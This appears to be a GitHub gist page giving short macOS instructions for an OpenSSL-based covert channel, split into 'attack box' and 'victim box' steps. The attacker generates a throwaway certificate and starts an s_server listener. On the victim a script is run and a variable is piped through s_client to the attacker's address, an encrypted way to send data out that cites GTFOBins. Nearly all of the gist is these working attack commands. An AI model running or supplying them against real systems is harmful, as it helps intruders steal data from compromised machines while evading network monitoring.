Last active
November 1, 2022 15:15
-
-
Save PonchoSec/a7a8c5b330fbe68a511f6648b6c096db to your computer and use it in GitHub Desktop.
macos_openssl_instructions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# attack box | |
# run first | |
openssl req -x509 -newkey rsa:4096 -keyout key.pem -subj "/CN=$cn\/emailAddress=admin@$cn/C=US/ST=Ohio/L=Columbus/O=Widgets Inc/OU=Some Unit" -out cert.pem -days 1 -nodes 2>/dev/null | |
# run second | |
openssl s_server -quiet -key key.pem -cert cert.pem -port 9001 | |
# choose your own port | |
# victim box | |
# execute the ./<name>.sh script | |
# chmod +x name.sh | |
# run last | |
echo $p | openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null | |
# change the IP address & port |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Reference(s): https://gtfobins.github.io/gtfobins/openssl/